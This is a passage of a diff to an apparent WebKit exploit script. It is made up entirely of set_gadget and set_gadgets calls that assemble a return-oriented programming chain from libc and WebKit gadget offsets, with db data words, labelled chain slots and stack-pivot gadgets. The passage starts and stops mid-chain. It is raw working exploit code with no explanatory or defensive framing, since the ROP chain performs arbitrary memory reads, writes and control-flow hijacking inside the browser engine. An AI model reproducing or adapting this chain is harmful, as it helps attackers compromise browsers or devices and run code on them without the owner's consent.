//L4601 +ropchain+265688, //L4601 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L4600: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +//L4598: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4599: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+206806,); //pop rdi //L4601: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+264928, //L4603 -webkit_base+7438103, //mov [rsi], rax +webkit_base+954100, //mov [rax], ecx +libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); //L4602: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4603: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+265000, //L4605 +ropchain+265832, //L4606 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4604: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4605: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+265072, //L4607 +ropchain+265816, //L4604 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); +//L4604: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4606: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4607: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+265144, //L4609 +ropchain+266000, //L4609 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+266016, //L4610 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+265984, //L4607 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+265968, //L4608 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L4608: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4607: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4609: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4610: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+265216, //L4611 +ropchain+266088, //L4611 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+266104, //L4612 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); -//L4610: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4611: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4612: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+265288, //L4613 +ropchain+266200, //L4614 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+266184, //L4613 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); -//L4612: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4613: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4614: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+265360, //L4615 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4614: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4615: -db([0, 0]); // 0x0 +db([4294901760, 4294967295]); // -0x10000 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+265432, //L4617 +ropchain+266312, //L4617 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4616: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4617: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+5202439, //and rax, rcx libc_base+793877, //pop rsi -ropchain+265504, //L4619 +ropchain+266448, //L4621 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4618: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4619: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+265576, //L4621 +ropchain+266416, //L4620 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L4620: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4619: +db([32, 0]); // 0x20 set_gadget(libc_base+788575,); //pop rax //L4621: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+877546, //shl rax, cl +libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+265648, //L4623 +ropchain+266552, //L4623 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+266536, //L4622 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); //L4622: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4623: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+265720, //L4625 +ropchain+266632, //L4624 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); //L4624: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4625: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4625: +db([32, 0]); // 0x20 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+265792, //L4627 +ropchain+266752, //L4629 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4626: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4627: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+265864, //L4629 +ropchain+266736, //L4627 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4628: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +//L4627: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4629: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+265936, //L4631 +ropchain+266920, //L4632 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4630: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4631: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+266008, //L4633 +ropchain+266936, //L4633 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+266904, //L4630 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+266888, //L4631 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); +//L4631: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4630: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4632: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4633: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+266080, //L4635 +ropchain+267008, //L4634 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+267024, //L4635 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); //L4634: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4635: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+266152, //L4637 +ropchain+267184, //L4639 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4636: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4637: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+266224, //L4639 +ropchain+267136, //L4637 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+267168, //L4638 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); +//L4637: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4636: +db([32, 0]); // 0x20 +set_gadget(libc_base+206806,); //pop rdi //L4638: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4639: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+877546, //shl rax, cl +libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+266296, //L4641 +ropchain+267264, //L4640 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+267280, //L4641 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); //L4640: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4641: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+266368, //L4643 -webkit_base+7438103, //mov [rsi], rax +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L4642: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4643: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+14959219, //cmp rax, rcx ; sete al +libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+266440, //L4645 +ropchain+267440, //L4643 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4644: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4645: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+266512, //L4647 +ropchain+267456, //L4644 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+267424, //L4642 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4646: -db([1, 0]); // 0x1 +//L4642: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L4643: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4647: +//L4644: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+266584, //L4649 +ropchain+267560, //L4647 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+267608, //L4649 +webkit_base+7438103, //mov [rsi], rax +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+267592, //L4648 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); +//L4647: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4646: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4648: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4649: db([0, 0]); // 0x0 set_gadgets([ +webkit_base+11676600, //cmp rax, rsi ; sete al +libc_base+269973, //movzx eax, al +webkit_base+414627, //shl rax, 3 +libc_base+793877, //pop rsi +ropchain+267720, //L4650+8 libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+266656, //L4651 +ropchain+267712, //L4650 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+811575 //pop rsp ]); //L4650: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4651: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +ropchain+267736, //L4650+24 +ropchain+268816, //L4645 libc_base+793877, //pop rsi -ropchain+266728, //L4653 +ropchain+267776, //L4651 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L4652: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4653: +//L4651: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4652: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+266800, //L4655 +ropchain+267896, //L4656 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4654: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4655: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+266872, //L4657 +ropchain+267880, //L4654 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); +//L4654: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4656: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4657: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+266944, //L4659 +ropchain+268064, //L4659 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+268080, //L4660 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+268048, //L4657 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+268032, //L4658 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L4658: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4657: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4659: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4660: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+267016, //L4661 +ropchain+268176, //L4662 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4660: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4661: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+267088, //L4663 +ropchain+268160, //L4661 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+206806 //pop rdi ]); -//L4662: -db([1, 0]); // 0x1 +//L4661: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4663: +//L4662: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L4663: +db([65535, 0]); // 0xffff +set_gadgets([ +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+267160, //L4665 +ropchain+268288, //L4665 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4664: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4665: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+5202439, //and rax, rcx libc_base+793877, //pop rsi -ropchain+267232, //L4667 +ropchain+268432, //L4668 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4666: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4667: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+267304, //L4669 +ropchain+268448, //L4669 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+268416, //L4667 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); +//L4667: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4668: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4669: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+267376, //L4671 +ropchain+268552, //L4670 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+268584, //L4672 +webkit_base+7438103, //mov [rsi], rax +libc_base+759626, //mov rax, r8 +libc_base+793877, //pop rsi +ropchain+268568, //L4671 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); //L4670: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4671: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4672: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+267448, //L4673 -webkit_base+7438103, //mov [rsi], rax +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L4672: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4673: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+267520, //L4675 +ropchain+268680, //L4673 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+268696, //L4674 +webkit_base+7438103, //mov [rsi], rax +webkit_base+432898 //pop r8 ]); -//L4674: -db([1, 0]); // 0x1 +//L4673: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4675: +//L4674: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+267592, //L4677 +ropchain+268808, //L4675 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+268792, //L4676 +webkit_base+7438103, //mov [rsi], rax +libc_base+788575 //pop rax ]); //L4676: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4677: db([0, 0]); // 0x0 +set_gadget(libc_base+811575,); //pop rsp +//L4675: +db([0, 0]); // 0x0 +//L4645: set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+267664, //L4679 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L4678: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4679: +//L4677: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4678: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+267736, //L4681 +ropchain+268912, //L4681 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L4680: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4681: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+267808, //L4683 +ropchain+268968, //L4683 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4682: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4683: db([0, 0]); // 0x0 +//L4682: set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+267880, //L4685 +ropchain+269016, //L4685 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L4684: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4685: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4686: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+267952, //L4687 +ropchain+269136, //L4690 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4686: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4687: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+268024, //L4689 +ropchain+269120, //L4688 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); //L4688: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4689: db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+268096, //L4691 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); +set_gadget(libc_base+206806,); //pop rdi //L4690: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4691: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+268168, //L4693 +ropchain+269304, //L4693 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+269320, //L4694 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+269288, //L4691 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+269272, //L4692 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L4692: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4691: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4693: db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+268240, //L4695 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4694: -db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L4695: +//L4694: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+268312, //L4697 +ropchain+269392, //L4695 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+269408, //L4696 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); -//L4696: -db([1, 0]); // 0x1 +//L4695: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4697: +//L4696: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+268384, //L4699 +ropchain+269504, //L4698 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+269488, //L4697 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); -//L4698: -db([1, 0]); // 0x1 +//L4697: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4699: +//L4698: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi 